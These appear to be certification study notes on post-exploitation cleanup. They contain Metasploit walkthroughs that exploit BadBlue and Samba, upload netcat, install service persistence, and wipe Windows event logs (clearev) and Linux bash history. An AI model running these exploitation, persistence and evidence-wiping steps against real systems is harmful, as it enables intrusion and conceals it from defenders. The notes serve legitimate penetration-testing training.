> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/clearing-tracks.md).

# Clearing Tracks

### Clearing Your Tracks on Windows

* The exploitation and post-exploitation phases of a penetration test involves actively engaging with target systems and the data that is stored on these systems.
* As a result, you may be required to clear/undo any changes you have made to the target systems you have compromised based on the guidelines specified in the rules of engagement.
* If you have transferred any file to the target systems you have compromised, keep track of where they have been saved so that you can remove them when done.
* A good practice is to store all your scripts, exploits and binaries in the C:/Temp directory on Windows and the /tmp directory on Linux.
* It is also important to consider the exploitation framework you are using, an example of this is MSF, which is notorious for generating and storing artifacts on the target system when using exploit or post modules.
* Some well designed MSF modules provide you with instructions and resource scripts that provide you with information regarding where the artifacts are stored and how they can be removed.
* In the context of Windows, a typical post-exploitation technique pertinent to clearing your tracks is to delete the Windows Event Log. This is something that should be avoiding during a penetration test as the Windows Event Log stores a lot of data that is important to the client you are performing the penetration test for.

DEMO

```
nmap -sV <IP>
```

* exploit badblue

<pre><code>msfconsole -q
> search badblue
> use 0
> exploit
>>>> sysinfo
>>>> getuid
>>>> migrate 4023
>>>> cd C:\\TEMP
>>>> cd pwd 
>>>> upload /usr/share/windows-binaries/nc.exe
>>>> ls 
>>>> rm nc.exe

> search persistence platform:windows
> use exploit/windows/local/persistence_services
> set LPORT 4433
> info
> exploit
>>>> cd C:\\USERS\Administrator\AppData\Local\Temp
>>>> dir
> sessions 1
<strong>>>>> resource &#x3C;PATH to file>
</strong>>>>> clearev [stay away as it wipes all the logs of the system]
</code></pre>

***

### Clearing Your Tracks on Linux

DEMO

```
nmap -sV <IP>
```

* exploit samba

```
msfconsole -q
> setg RHOST <IP>
> search samba
> use exploit/linux/samba/is_known_pipename
> exploit


# /bin/bash -i
# cd ~
# ls -al
# cd /tmp
# ls
# ls -al
# history
# history -c 
# cat /dev/null > .bash_history
```

* remove the bash history file .bash\_history